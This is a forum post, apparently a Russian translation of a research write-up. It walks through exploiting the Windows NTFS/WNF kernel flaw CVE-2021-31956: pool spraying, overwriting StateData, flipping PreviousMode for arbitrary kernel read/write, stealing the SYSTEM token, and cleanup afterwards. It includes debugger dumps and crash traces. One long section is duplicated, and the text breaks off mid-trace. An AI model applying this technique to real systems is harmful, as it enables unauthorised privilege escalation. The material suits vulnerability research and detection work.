• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья CVE-2021-31956 Эксплуатация ядра Windows (NTFS с WNF) — часть 2

yashechka

Генератор контента.Фанат Ильфака и Рикардо Нарвахи
Эксперт
Регистрация
24.11.2012
Сообщения
2 344
Реакции
3 563
CVE-2021-31956 Эксплуатация ядра Windows (NTFS с WNF) — часть 2

Введение

В части 1 целью было охватить следующее:

- Обзор уязвимости, присвоенной код CVE-2021-31956 (повреждение памяти выгружаемого пула NTFS), и как ее вызвать
- Введение в Windows Notification Framework (WNF) с точки зрения эксплуатации
- Используйте примитивы, которые можно построить с помощью WNF


В этой статье я буду стремиться опираться на эти предыдущие знания и охватить следующие:

- Эксплуатация без раскрытия информации CVE-2021-31955
- Включение лучших примитивов эксплойта через PreviousMode
- Надежность, стабильность и очистка от эксплойта
- Мысли об обнаружении


Версия, указанная в этойй статье — Windows 10 20H2 (сборка ОС 19042.508). Однако этот подход был протестирован во всех версиях Windows после 19H1, когда был введен пул сегментов.

Эксплуатация CVE-2021-31955 без раскрытия информации


В предыдущем сообщении в блоге я намекнул, что эта уязвимость, вероятно, может быть использована без использования отдельной уязвимости утечки адреса EPROCESS CVE-2021-31955). Это также понял Ян Цзышуан и задокументировал в своем блоге. (https://vul.360.net/archives/83)

Как правило, при повышении локальных привилегий Windows после того, как злоумышленник добился произвольной записи или выполнения кода ядра, целью будет повышение привилегий для связанного с ним пользовательского процесса или панорамирование привилегированной командной оболочки. Процессы Windows имеют связанную структуру ядра, называемую _EPROCESS, которая действует как объект процесса для этого процесса. В этой структуре есть элемент Token, который представляет контекст безопасности процесса и содержит такие вещи, как привилегии токена, типы токенов, идентификатор сеанса и т. д.

CVE-2021-31955 приводила к раскрытию информации об адресе _EPROCESS для каждого запущенного процесса в системе и, как предполагалось, использовалась в атаках, обнаруженных "Лабораторией Касперского". Однако на практике для эксплуатации CVE-2021-31956 эта отдельная уязвимость не нужна.

Это связано с тем, что указатель _EPROCESS содержится в _WNF_NAME_INSTANCE в качестве члена CreatorProcess:

nt!_WNF_NAME_INSTANCE
+0x000 Header : _WNF_NODE_HEADER
+0x008 RunRef : _EX_RUNDOWN_REF
+0x010 TreeLinks : _RTL_BALANCED_NODE
+0x028 StateName : _WNF_STATE_NAME_STRUCT
+0x030 ScopeInstance : Ptr64 _WNF_SCOPE_INSTANCE
+0x038 StateNameInfo : _WNF_STATE_NAME_REGISTRATION
+0x050 StateDataLock : _WNF_LOCK
+0x058 StateData : Ptr64 _WNF_STATE_DATA
+0x060 CurrentChangeStamp : Uint4B
+0x068 PermanentDataStore : Ptr64 Void
+0x070 StateSubscriptionListLock : _WNF_LOCK
+0x078 StateSubscriptionListHead : _LIST_ENTRY
+0x088 TemporaryNameListEntry : _LIST_ENTRY
+0x098 CreatorProcess : Ptr64 _EPROCESS
+0x0a0 DataSubscribersCount : Int4B
+0x0a4 CurrentDeliveryCount : Int4B


Следовательно, при условии, что возможно получить относительный примитив чтения/записи с использованием _WNF_STATE_DATA, чтобы иметь возможность читать и записывать в последующий _WNF_NAME_INSTANCE, мы можем затем перезаписать указатель StateData, чтобы он указывал на произвольное место, а также прочитать адрес CreatorProcess. чтобы получить адрес структуры _EPROCESS в памяти.

Начальная схема пула, к которой мы стремимся, выглядит следующим образом:

1642842247009.png


Сложность этого заключается в том, что из-за рандомизации кучи (LFH) надежное достижение этой схемы памяти становится более трудным, и одна итерация этого эксплойта не использовалась до тех пор, пока не были проведены дополнительные исследования для повышения общей надежности и снижения вероятность BSOD.

Например, в обычных сценариях вы можете получить следующий шаблон распределения для ряда последовательно выделенных блоков:
1642842260764.png


В отсутствие слабости или уязвимости LFH "рандомизации кучи" в этом посте объясняется, как можно достичь "достаточно" высокого уровня успеха эксплуатации и какие необходимые очистки необходимо выполнить для поддержания стабильности системы после эксплуатации.

Этап 1: Распыление и переполнение


Начиная с того места, где мы остановились в первой статье, нам нужно вернуться и переработать распыление и переполнение.

Во-первых, наш _WNF_NAME_INSTANCE имеет размер 0xA8 + POOL_HEADER (0x10), то есть размер 0xB8. Как упоминалось ранее, это помещается в кусок размером 0xC0.

Нам также нужно распылить объекты _WNF_STATE_DATA размером 0xA0, которые при добавлении с заголовком 0x10 + POOL_HEADER (0x10) также заканчиваются выделением фрагмента 0xC0.

Как упоминалось в части 1 статьи, поскольку мы можем контролировать размер уязвимого выделения, мы также можем гарантировать, что наш переполняющий фрагмент расширенного атрибута NTFS также будет выделен в сегменте 0xC0.

Однако мы не можем детерминистически знать, какой объект будет соседствовать с нашим уязвимым фрагментом NTFS (как упоминалось выше), мы не можем использовать аналогичный подход к освобождению дыр, как в прошлой статье, а затем повторно использовать полученные дыры, поскольку и _WNF_STATE_DATA, и объекты _WNF_NAME_INSTANCE выделяются одновременно, и нам нужно, чтобы оба они присутствовали в одном и том же сегменте пула.

Поэтому нужно быть очень осторожным с переполнением. Мы следим за тем, чтобы только следующие поля были переполнены на 0x10 байт (и POOL_HEADER).

В случае поврежденного _WNF_NAME_INSTANCE будут переполнены элементы Header и RunRef:

nt!_WNF_NAME_INSTANCE
+0x000 Header : _WNF_NODE_HEADER
+0x008 RunRef : _EX_RUNDOWN_REF


В случае поврежденного _WNF_STATE_DATA члены Header, AllocatedSize, DataSize и ChangeTimestamp будут переполнены:

nt!_WNF_STATE_DATA
+0x000 Header : _WNF_NODE_HEADER
+0x004 AllocatedSize : Uint4B
+0x008 DataSize : Uint4B
+0x00c ChangeStamp : Uint4B


Поскольку мы не знаем, собираемся ли мы сначала переполнить _WNF_NAME_INSTANCE или _WNF_STATE_DATA, мы можем инициировать переполнение и проверить наличие повреждений в цикле, запрашивая каждый _WNF_STATE_DATA с помощью NtQueryWnfStateData.

Если мы обнаруживаем повреждение, мы знаем, что идентифицировали наш объект _WNF_STATE_DATA. Если нет, то мы можем многократно запускать распыление и переполнение, пока не получим объект _WNF_STATE_DATA, который разрешает чтение/запись в подсегменте пула.

У этого подхода есть несколько проблем, некоторые из которых можно решить, а для некоторых нет идеального решения:

1. Мы хотим повредить только объекты _WNF_STATE_DATA, но сегмент пула также содержит объекты _WNF_NAME_INSTANCE из-за необходимости иметь одинаковый размер. Использование только переполнения размера данных 0x10 и последующей очистки (как описано в разделе "Очистка памяти ядра") означает, что эта проблема не вызывает проблемы.

2. Иногда наш неограниченный чагнк, содержащий _WNF_STATA_DATA, может быть выделен в последнем блоке в сегменте пула. Это означает, что при запросе с помощью NtQueryWnfStateData чтение неотображенной памяти произойдет за пределами конца страницы. На практике это случается редко, и увеличение размера распределения снижает вероятность этого

3. Другие функции операционной системы могут выделять ресурсы в сегменте пула 0xC0 и приводить к повреждению и нестабильности. Выполняя большой размер распыления перед запуском переполнения, из практических испытаний это, похоже, редко происходит в тестовой среде.

Я думаю, что полезно задокументировать эти проблемы с помощью современных методов эксплуатации повреждения памяти, где не всегда возможно добиться 100% надежности.

В целом, если 1) исправлено, а 2+3 встречается очень редко, вместо идеального решения мы можем перейти к следующему этапу.

Этап 2. Поиск _WNF_NAME_INSTANCE и перезапись указателя StateData

После того, как мы освободили наши _WNF_STATE_DATA, переполнив DataSize и AllocatedSize, как описано выше, и в первом сообщении блога, мы можем использовать относительное чтение, чтобы найти соседний _WNF_NAME_INSTANCE.

Просматривая память, мы можем найти шаблон "\x03\x09\xa8", который обозначает начало _WNF_NAME_INSTANCE, и из него получить интересные переменные-члены.

CreatorProcess, StateName, StateData, ScopeInstance могут быть раскрыты из идентифицированного целевого объекта.

Затем мы можем использовать относительную запись, чтобы заменить указатель StateData произвольным местоположением, которое требуется для нашего примитива чтения и записи. Например, смещение в структуре _EPROCESS на основе адреса, полученного от CreatorProcess.

Здесь необходимо соблюдать осторожность, чтобы гарантировать, что новое местоположение StateData указывает на перекрытие с нормальными значениями для значений AllocatedSize, DataSize, предшествующих данным, которые необходимо прочитать или записать.

В этом случае цель состояла в том, чтобы добиться полного произвольного чтения и записи, но без ограничений, связанных с необходимостью найти разумные и надежные значения AllocatedSize и DataSize до памяти, которую также нужно было записать.

Наша общая цель состояла в том, чтобы нацелиться на элемент PreviousMode структуры KTHREAD, а затем использовать API-интерфейсы NtReadVirtualMemory и NtWriteVirtualMemory, чтобы обеспечить более гибкое произвольное чтение и запись.

Это помогает иметь хорошее представление о том, как эта структура памяти ядра используется, чтобы понять, как это работает. В очень упрощенном обзоре часть режима ядра Windows содержит ряд подсистем. Уровень аппаратной абстракции (HAL), исполнительные подсистемы и ядро. _EPROCESS является частью исполнительного уровня, который имеет дело с общей политикой и операциями ОС. Подсистема ядра обрабатывает конкретные детали архитектуры для низкоуровневых операций, а HAL обеспечивает уровень абстракции для устранения различий между аппаратными средствами.

Процессы и потоки представлены как на исполнительном уровне, так и на "уровне" ядра в памяти ядра в виде структур _EPROCESS и _KPROCESS и _ETHREAD и _KTHREAD соответственно.

В документации по PreviousMode говорится: "Когда приложение пользовательского режима вызывает версию Nt или Zw собственной процедуры системных служб, механизм системного вызова перехватывает вызывающий поток в режим ядра. Чтобы указать, что значения параметров были получены в пользовательском режиме, обработчик ловушки для системного вызова устанавливает для поля PreviousMode в объекте потока вызывающего объекта значение UserMode. Собственная процедура системных служб проверяет поле PreviousMode вызывающего потока, чтобы определить, получены ли параметры из источника пользовательского режима".

Глядя на MiReadWriteVirtualMemory, который вызывается из NtWriteVirtualMemory, мы видим, что если PreviousMode не установлен при выполнении потока пользовательского режима, то проверка адреса пропускается, и адреса пространства памяти ядра также могут быть записаны:

C:
__int64 __fastcall MiReadWriteVirtualMemory(
        HANDLE Handle,
        size_t BaseAddress,
        size_t Buffer,
        size_t NumberOfBytesToWrite,
        __int64 NumberOfBytesWritten,
        ACCESS_MASK DesiredAccess)
{
  int v7; // er13
  __int64 v9; // rsi
  struct _KTHREAD *CurrentThread; // r14
  KPROCESSOR_MODE PreviousMode; // al
  _QWORD *v12; // rbx
  __int64 v13; // rcx
  NTSTATUS v14; // edi
  _KPROCESS *Process; // r10
  PVOID v16; // r14
  int v17; // er9
  int v18; // er8
  int v19; // edx
  int v20; // ecx
  NTSTATUS v21; // eax
  int v22; // er10
  char v24; // [rsp+40h] [rbp-48h]
  __int64 v25; // [rsp+48h] [rbp-40h] BYREF
  PVOID Object[2]; // [rsp+50h] [rbp-38h] BYREF
  int v27; // [rsp+A0h] [rbp+18h]

  v27 = Buffer;
  v7 = BaseAddress;
  v9 = 0i64;
  Object[0] = 0i64;
  CurrentThread = KeGetCurrentThread();
  PreviousMode = CurrentThread->PreviousMode;
  v24 = PreviousMode;
  if ( PreviousMode )
  {
    if ( NumberOfBytesToWrite + BaseAddress < BaseAddress
      || NumberOfBytesToWrite + BaseAddress > 0x7FFFFFFF0000i64
      || Buffer + NumberOfBytesToWrite < Buffer
      || Buffer + NumberOfBytesToWrite > 0x7FFFFFFF0000i64 )
    {
      return 3221225477i64;
    }
    v12 = (_QWORD *)NumberOfBytesWritten;
    if ( NumberOfBytesWritten )
    {
      v13 = NumberOfBytesWritten;
      if ( (unsigned __int64)NumberOfBytesWritten >= 0x7FFFFFFF0000i64 )
        v13 = 0x7FFFFFFF0000i64;
      *(_QWORD *)v13 = *(_QWORD *)v13;
    }
  }

Этот метод также был описан ранее в сообщении блога NCC Group об использовании Windows KTM.

Итак, как нам определить местонахождение PreviousMode на основе адреса _EPROCESS, полученного из нашего относительного чтения CreatorProcess? В начале структуры _EPROCESS _KPROCESS включен как Pcb.

dt _EPROCESS
ntdll!_EPROCESS
+0x000 Pcb : _KPROCESS


В _KPROCESS у нас есть следующее:

dx -id 0,0,ffffd186087b1300 -r1 (*((ntdll!_KPROCESS *)0xffffd186087b1300))
(*((ntdll!_KPROCESS *)0xffffd186087b1300)) [Type: _KPROCESS]
[+0x000] Header [Type: _DISPATCHER_HEADER]
[+0x018] ProfileListHead [Type: _LIST_ENTRY]
[+0x028] DirectoryTableBase : 0xa3b11000 [Type: unsigned __int64]
[+0x030] ThreadListHead [Type: _LIST_ENTRY]
[+0x040] ProcessLock : 0x0 [Type: unsigned long]
[+0x044] ProcessTimerDelay : 0x0 [Type: unsigned long]
[+0x048] DeepFreezeStartTime : 0x0 [Type: unsigned __int64]
[+0x050] Affinity [Type: _KAFFINITY_EX]
[+0x0f8] AffinityPadding [Type: unsigned __int64 [12]]
[+0x158] ReadyListHead [Type: _LIST_ENTRY]
[+0x168] SwapListEntry [Type: _SINGLE_LIST_ENTRY]
[+0x170] ActiveProcessors [Type: _KAFFINITY_EX]
[+0x218] ActiveProcessorsPadding [Type: unsigned __int64 [12]]
[+0x278 ( 0: 0)] AutoAlignment : 0x0 [Type: unsigned long]
[+0x278 ( 1: 1)] DisableBoost : 0x0 [Type: unsigned long]
[+0x278 ( 2: 2)] DisableQuantum : 0x0 [Type: unsigned long]
[+0x278 ( 3: 3)] DeepFreeze : 0x0 [Type: unsigned long]
[+0x278 ( 4: 4)] TimerVirtualization : 0x0 [Type: unsigned long]
[+0x278 ( 5: 5)] CheckStackExtents : 0x0 [Type: unsigned long]
[+0x278 ( 6: 6)] CacheIsolationEnabled : 0x0 [Type: unsigned long]
[+0x278 ( 9: 7)] PpmPolicy : 0x7 [Type: unsigned long]
[+0x278 (10:10)] VaSpaceDeleted : 0x0 [Type: unsigned long]
[+0x278 (31:11)] ReservedFlags : 0x0 [Type: unsigned long]
[+0x278] ProcessFlags : 896 [Type: long]
[+0x27c] ActiveGroupsMask : 0x1 [Type: unsigned long]
[+0x280] BasePriority : 8 [Type: char]
[+0x281] QuantumReset : 6 [Type: char]
[+0x282] Visited : 0 [Type: char]
[+0x283] Flags [Type: _KEXECUTE_OPTIONS]
[+0x284] ThreadSeed [Type: unsigned short [20]]
[+0x2ac] ThreadSeedPadding [Type: unsigned short [12]]
[+0x2c4] IdealProcessor [Type: unsigned short [20]]
[+0x2ec] IdealProcessorPadding [Type: unsigned short [12]]
[+0x304] IdealNode [Type: unsigned short [20]]
[+0x32c] IdealNodePadding [Type: unsigned short [12]]
[+0x344] IdealGlobalNode : 0x0 [Type: unsigned short]
[+0x346] Spare1 : 0x0 [Type: unsigned short]
[+0x348] StackCount [Type: _KSTACK_COUNT]
[+0x350] ProcessListEntry [Type: _LIST_ENTRY]
[+0x360] CycleTime : 0x0 [Type: unsigned __int64]
[+0x368] ContextSwitches : 0x0 [Type: unsigned __int64]
[+0x370] SchedulingGroup : 0x0 [Type: _KSCHEDULING_GROUP *]
[+0x378] FreezeCount : 0x0 [Type: unsigned long]
[+0x37c] KernelTime : 0x0 [Type: unsigned long]
[+0x380] UserTime : 0x0 [Type: unsigned long]
[+0x384] ReadyTime : 0x0 [Type: unsigned long]
[+0x388] UserDirectoryTableBase : 0x0 [Type: unsigned __int64]
[+0x390] AddressPolicy : 0x0 [Type: unsigned char]
[+0x391] Spare2 [Type: unsigned char [71]]
[+0x3d8] InstrumentationCallback : 0x0 [Type: void *]
[+0x3e0] SecureState [Type: ]
[+0x3e8] KernelWaitTime : 0x0 [Type: unsigned __int64]
[+0x3f0] UserWaitTime : 0x0 [Type: unsigned __int64]
[+0x3f8] EndPadding [Type: unsigned __int64 [8]]


Существует член ThreadListHead, который представляет собой двусвязный список _KTHREAD.

Если эксплойт имеет только один поток, то Flink будет указателем на смещение от начала _KTHREAD:

dx -id 0,0,ffffd186087b1300 -r1 (*((ntdll!_LIST_ENTRY *)0xffffd186087b1330))
(*((ntdll!_LIST_ENTRY *)0xffffd186087b1330)) [Type: _LIST_ENTRY]
[+0x000] Flink : 0xffffd18606a54378 [Type: _LIST_ENTRY *]
[+0x008] Blink : 0xffffd18608840378 [Type: _LIST_ENTRY *]


Исходя из этого, мы можем вычислить базовый адрес _KTHREAD, используя смещение 0x2F8, то есть смещение ThreadListEntry.

0xffffd18606a54378 - 0x2F8 = 0xffffd18606a54080

Мы можем проверить это правильно (и увидеть, что мы достигли точки останова в предыдущей статье):

Этот метод также был описан ранее в сообщении блога NCC Group об использовании Windows KTM.

Итак, как нам определить местонахождение PreviousMode на основе адреса _EPROCESS, полученного из нашего относительного чтения CreatorProcess? В начале структуры _EPROCESS _KPROCESS включен как Pcb.

dt _EPROCESS
ntdll!_EPROCESS
+0x000 Pcb : _KPROCESS


В _KPROCESS у нас есть следующее:

dx -id 0,0,ffffd186087b1300 -r1 (*((ntdll!_KPROCESS *)0xffffd186087b1300))
(*((ntdll!_KPROCESS *)0xffffd186087b1300)) [Type: _KPROCESS]
[+0x000] Header [Type: _DISPATCHER_HEADER]
[+0x018] ProfileListHead [Type: _LIST_ENTRY]
[+0x028] DirectoryTableBase : 0xa3b11000 [Type: unsigned __int64]
[+0x030] ThreadListHead [Type: _LIST_ENTRY]
[+0x040] ProcessLock : 0x0 [Type: unsigned long]
[+0x044] ProcessTimerDelay : 0x0 [Type: unsigned long]
[+0x048] DeepFreezeStartTime : 0x0 [Type: unsigned __int64]
[+0x050] Affinity [Type: _KAFFINITY_EX]
[+0x0f8] AffinityPadding [Type: unsigned __int64 [12]]
[+0x158] ReadyListHead [Type: _LIST_ENTRY]
[+0x168] SwapListEntry [Type: _SINGLE_LIST_ENTRY]
[+0x170] ActiveProcessors [Type: _KAFFINITY_EX]
[+0x218] ActiveProcessorsPadding [Type: unsigned __int64 [12]]
[+0x278 ( 0: 0)] AutoAlignment : 0x0 [Type: unsigned long]
[+0x278 ( 1: 1)] DisableBoost : 0x0 [Type: unsigned long]
[+0x278 ( 2: 2)] DisableQuantum : 0x0 [Type: unsigned long]
[+0x278 ( 3: 3)] DeepFreeze : 0x0 [Type: unsigned long]
[+0x278 ( 4: 4)] TimerVirtualization : 0x0 [Type: unsigned long]
[+0x278 ( 5: 5)] CheckStackExtents : 0x0 [Type: unsigned long]
[+0x278 ( 6: 6)] CacheIsolationEnabled : 0x0 [Type: unsigned long]
[+0x278 ( 9: 7)] PpmPolicy : 0x7 [Type: unsigned long]
[+0x278 (10:10)] VaSpaceDeleted : 0x0 [Type: unsigned long]
[+0x278 (31:11)] ReservedFlags : 0x0 [Type: unsigned long]
[+0x278] ProcessFlags : 896 [Type: long]
[+0x27c] ActiveGroupsMask : 0x1 [Type: unsigned long]
[+0x280] BasePriority : 8 [Type: char]
[+0x281] QuantumReset : 6 [Type: char]
[+0x282] Visited : 0 [Type: char]
[+0x283] Flags [Type: _KEXECUTE_OPTIONS]
[+0x284] ThreadSeed [Type: unsigned short [20]]
[+0x2ac] ThreadSeedPadding [Type: unsigned short [12]]
[+0x2c4] IdealProcessor [Type: unsigned short [20]]
[+0x2ec] IdealProcessorPadding [Type: unsigned short [12]]
[+0x304] IdealNode [Type: unsigned short [20]]
[+0x32c] IdealNodePadding [Type: unsigned short [12]]
[+0x344] IdealGlobalNode : 0x0 [Type: unsigned short]
[+0x346] Spare1 : 0x0 [Type: unsigned short]
[+0x348] StackCount [Type: _KSTACK_COUNT]
[+0x350] ProcessListEntry [Type: _LIST_ENTRY]
[+0x360] CycleTime : 0x0 [Type: unsigned __int64]
[+0x368] ContextSwitches : 0x0 [Type: unsigned __int64]
[+0x370] SchedulingGroup : 0x0 [Type: _KSCHEDULING_GROUP *]
[+0x378] FreezeCount : 0x0 [Type: unsigned long]
[+0x37c] KernelTime : 0x0 [Type: unsigned long]
[+0x380] UserTime : 0x0 [Type: unsigned long]
[+0x384] ReadyTime : 0x0 [Type: unsigned long]
[+0x388] UserDirectoryTableBase : 0x0 [Type: unsigned __int64]
[+0x390] AddressPolicy : 0x0 [Type: unsigned char]
[+0x391] Spare2 [Type: unsigned char [71]]
[+0x3d8] InstrumentationCallback : 0x0 [Type: void *]
[+0x3e0] SecureState [Type: ]
[+0x3e8] KernelWaitTime : 0x0 [Type: unsigned __int64]
[+0x3f0] UserWaitTime : 0x0 [Type: unsigned __int64]
[+0x3f8] EndPadding [Type: unsigned __int64 [8]]


Существует член ThreadListHead, который представляет собой двусвязный список _KTHREAD.

Если эксплойт имеет только один поток, то Flink будет указателем на смещение от начала _KTHREAD:

dx -id 0,0,ffffd186087b1300 -r1 (*((ntdll!_LIST_ENTRY *)0xffffd186087b1330))
(*((ntdll!_LIST_ENTRY *)0xffffd186087b1330)) [Type: _LIST_ENTRY]
[+0x000] Flink : 0xffffd18606a54378 [Type: _LIST_ENTRY *]
[+0x008] Blink : 0xffffd18608840378 [Type: _LIST_ENTRY *]


Исходя из этого, мы можем вычислить базовый адрес _KTHREAD, используя смещение 0x2F8, то есть смещение ThreadListEntry.

0xffffd18606a54378 - 0x2F8 = 0xffffd18606a54080

Мы можем проверить это правильно (и увидеть, что мы достигли точки останова в предыдущей статье):

0: kd> !thread 0xffffd18606a54080
THREAD ffffd18606a54080 Cid 1da0.1da4 Teb: 000000ce177e0000 Win32Thread: 0000000000000000 RUNNING on processor 0
IRP List:
ffffd18608002050: (0006,0430) Flags: 00060004 Mdl: 00000000
Not impersonating
DeviceMap ffffba0cc30c6630
Owning Process ffffd186087b1300 Image: amberzebra.exe
Attached Process N/A Image: N/A
Wait Start TickCount 2344 Ticks: 1 (0:00:00:00.015)
Context Switch Count 149 IdealProcessor: 1
UserTime 00:00:00.000
KernelTime 00:00:00.015
Win32 Start Address 0x00007ff6da2c305c
Stack Init ffffd0096cdc6c90 Current ffffd0096cdc6530
Base ffffd0096cdc7000 Limit ffffd0096cdc1000 Call 0000000000000000
Priority 8 BasePriority 8 PriorityDecrement 0 IoPriority 2 PagePriority 5
Child-SP RetAddr : Args to Child : Call Site
ffffd009`6cdc62a8 fffff805`5a99bc7a : 00000000`00000000 00000000`000000d0 00000000`00000000 ffffba0c`00000000 : Ntfs!NtfsQueryEaUserEaList
ffffd009`6cdc62b0 fffff805`5a9fc8a6 : ffffd009`6cdc6560 ffffd186`08002050 ffffd186`08002300 ffffd186`06a54000 : Ntfs!NtfsCommonQueryEa+0x22a
ffffd009`6cdc6410 fffff805`5a9fc600 : ffffd009`6cdc6560 ffffd186`08002050 ffffd186`08002050 ffffd009`6cdc7000 : Ntfs!NtfsFsdDispatchSwitch+0x286
ffffd009`6cdc6540 fffff805`570d1f35 : ffffd009`6cdc68b0 fffff805`54704b46 ffffd009`6cdc7000 ffffd009`6cdc1000 : Ntfs!NtfsFsdDispatchWait+0x40
ffffd009`6cdc67e0 fffff805`54706ccf : ffffd186`02802940 ffffd186`00000030 00000000`00000000 00000000`00000000 : nt!IofCallDriver+0x55
ffffd009`6cdc6820 fffff805`547048d3 : ffffd009`6cdc68b0 00000000`00000000 00000000`00000001 ffffd186`03074bc0 : FLTMGR!FltpLegacyProcessingAfterPreCallbacksCompleted+0x28f
ffffd009`6cdc6890 fffff805`570d1f35 : ffffd186`08002050 00000000`000000c0 00000000`000000c8 00000000`000000a4 : FLTMGR!FltpDispatch+0xa3
ffffd009`6cdc68f0 fffff805`574a6fb8 : ffffd186`08002050 00000000`00000000 00000000`00000000 fffff805`577b2094 : nt!IofCallDriver+0x55
ffffd009`6cdc6930 fffff805`57455834 : 000000ce`00000000 ffffd009`6cdc6b80 ffffd186`084eb7b0 ffffd009`6cdc6b80 : nt!IopSynchronousServiceTail+0x1a8
ffffd009`6cdc69d0 fffff805`572058b5 : ffffd186`06a54080 000000ce`178fdae8 000000ce`178feba0 00000000`000000a3 : nt!NtQueryEaFile+0x484
ffffd009`6cdc6a90 00007fff`0bfae654 : 00007ff6`da2c14dd 00007ff6`da2c4490 00000000`000000a3 000000ce`178fbee8 : nt!KiSystemServiceCopyEnd+0x25 (TrapFrame @ ffffd009`6cdc6b00)
000000ce`178fdac8 00007ff6`da2c14dd : 00007ff6`da2c4490 00000000`000000a3 000000ce`178fbee8 0000026e`edf509ba : ntdll!NtQueryEaFile+0x14
000000ce`178fdad0 00007ff6`da2c4490 : 00000000`000000a3 000000ce`178fbee8 0000026e`edf509ba 00000000`00000000 : 0x00007ff6`da2c14dd
000000ce`178fdad8 00000000`000000a3 : 000000ce`178fbee8 0000026e`edf509ba 00000000`00000000 000000ce`178fdba0 : 0x00007ff6`da2c4490
000000ce`178fdae0 000000ce`178fbee8 : 0000026e`edf509ba 00000000`00000000 000000ce`178fdba0 000000ce`00000017 : 0xa3
000000ce`178fdae8 0000026e`edf509ba : 00000000`00000000 000000ce`178fdba0 000000ce`00000017 00000000`00000000 : 0x000000ce`178fbee8
000000ce`178fdaf0 00000000`00000000 : 000000ce`178fdba0 000000ce`00000017 00000000`00000000 0000026e`00000001 : 0x0000026e`edf509ba


Итак, теперь мы знаем, как вычислить адрес структуры данных ядра _KTHREAD, связанной с нашим запущенным потоком эксплойта.

В конце этапа 2 у нас есть следующая структура памяти:

1642842466426.png
 
Этап 3 – Злоупотребление PreviousMode

После того, как мы установили указатель StateData _WNF_NAME_INSTANCE до Flink _KPROCESS ThreadListHead, мы можем выдать значение, перепутав его с DataSize и ChangeTimestamp. Затем мы можем вычислить FLINK как "FLINK = (uintptr_t)ChangeTimestamp << 32 | DataSize" после запроса объекта.

Это позволяет нам вычислить адрес _KTHREAD с помощью FLINK — 0x2f8.

Когда у нас есть адрес _KTHREAD, нам нужно снова найти разумное значение, чтобы спутать его с AllocatedSize и DataSize, чтобы разрешить чтение и запись значения PreviousMode по смещению 0x232.

В этом случае, указав его здесь:

+0x220 Process : 0xffff900f`56ef0340 _KPROCESS
+0x228 UserAffinity : _GROUP_AFFINITY
+0x228 UserAffinityFill : [10] &quot;???&quot;


Дает следующие "нормальные" значения:

dt _WNF_STATE_DATA FLINK-0x2f8+0x220

nt!_WNF_STATE_DATA
+ 0x000 Header : _WNF_NODE_HEADER
+ 0x004 AllocatedSize : 0xffff900f
+ 0x008 DataSize : 3
+ 0x00c ChangeStamp : 0


Разрешение использовать наиболее значимое слово указателя Process, показанного выше, в качестве AllocatedSize, а UserAffinity — в качестве DataSize. Между прочим, мы можем влиять на это значение, используемое для DataSize, используя SetProcessAffinityMask или запуская процесс с start /affinityexploit.exe, но для наших целей чтения и записи PreviousMode это нормально.

Визуально это выглядит следующим образом после изменения StateData:

1642842551407.png


Это дает 3 байта для чтения (и до 0xffff900f байт для записи, если необходимо, но нам нужно только 3 байта), из которых включен предыдущий режим (т.е. установлен в 1 перед модификацией):

00 00 01 00 00 00 00 00 00 00 | ..........

Использование старшего слова указателя, всегда являющегося адресом режима ядра, должно гарантировать, что это достаточный размер AllocatedSize для возможности перезаписи предыдущего режима.

Пост-Эксплуатация

Как только мы установили для параметра PreviousMode значение 0, как упоминалось выше, это теперь дает неограниченное чтение/запись по всему пространству памяти ядра с использованием NtWriteVirtualMemory и NtReadVirtualMemory. Это очень мощный метод, демонстрирующий, как перейти от неудобного использования произвольного чтения/записи к лучшему методу, который упрощает пост-эксплуатацию и расширяет возможности очистки.

Затем тривиально пройти ActiveProcessLinks внутри EPROCESS, получить указатель на токен SYSTEM и заменить существующий токен этим или выполнить эскалацию, перезаписав _SEP_TOKEN_PRIVILEGES для существующего токена, используя методы, которые долгое время использовались эксплойтами Windows.

Очистка памяти ядра

Итак, приведенного выше достаточно для проверки концепции эксплойта, но из-за потенциально большого объема записи в память, необходимого для успешного эксплойта, это может оставить ядро в плохом состоянии. Кроме того, когда процесс завершается, определенные области памяти, которые были перезаписаны, могут вызвать BSOD при использовании этой поврежденной памяти.

Эта часть процесса эксплуатации часто упускается из виду авторами эксплойтов для проверки концепции, но часто является наиболее сложной для использования в реальных сценариях (RT/смоделированные атаки и т. д.), где важны стабильность и надежность. Прохождение этого процесса также помогает понять, как можно обнаружить эти типы атак.

В этом разделе блога описываются некоторые улучшения, которые можно сделать в этой области.

Восстановление PreviousMode

В протестированной версии Windows, если мы попытаемся запустить новый процесс как SYSTEM, но для параметра PreviousMode все еще установлено значение 0. Затем мы получаем следующий сбой:

```
Access violation - code c0000005 (!!! second chance !!!)
nt!PspLocateInPEManifest+0xa9:
fffff804`502f1bb5 0fba68080d bts dword ptr [rax+8],0Dh
0: kd> kv

# Child-SP RetAddr : Args to Child : Call Site
00 ffff8583`c6259c90 fffff804`502f0689 : 00000195`b24ec500 00000000`00000000 00000000`00000428 00007ff6`00000000 : nt!PspLocateInPEManifest+0xa9
01 ffff8583`c6259d00 fffff804`501f19d0 : 00000000`000022aa ffff8583`c625a350 00000000`00000000 00000000`00000000 : nt!PspSetupUserProcessAddressSpace+0xdd
02 ffff8583`c6259db0 fffff804`5021ca6d : 00000000`00000000 ffff8583`c625a350 00000000`00000000 00000000`00000000 : nt!PspAllocateProcess+0x11a4
03 ffff8583`c625a2d0 fffff804`500058b5 : 00000000`00000002 00000000`00000001 00000000`00000000 00000195`b24ec560 : nt!NtCreateUserProcess+0x6ed
04 ffff8583`c625aa90 00007ffd`b35cd6b4 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : nt!KiSystemServiceCopyEnd+0x25 (TrapFrame @ ffff8583`c625ab00)
05 0000008c`c853e418 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!NtCreateUserProcess+0x14
```


Необходимо провести дополнительные исследования, чтобы определить, было ли это в предыдущих версиях или это было недавно внесенное изменение.

Это можно исправить, просто воспользовавшись нашими API-интерфейсами NtWriteVirtualMemory для восстановления значения PreviousMode до 1 перед запуском оболочки cmd.exe.

Восстановление указателя StateData

Указатель _WNF_STATE_DATA StateData освобождается, когда _WNF_NAME_INSTANCE освобождается при завершении процесса (кстати, также произвольное освобождение). Если это не будет восстановлено до исходного значения, мы получим сбой следующим образом:

00 ffffdc87`2a708cd8 fffff807`27912082 : ffffdc87`2a708e40 fffff807`2777b1d0 00000000`00000100 00000000`00000000 : nt!DbgBreakPointWithStatus
01 ffffdc87`2a708ce0 fffff807`27911666 : 00000000`00000003 ffffdc87`2a708e40 fffff807`27808e90 00000000`0000013a : nt!KiBugCheckDebugBreak+0x12
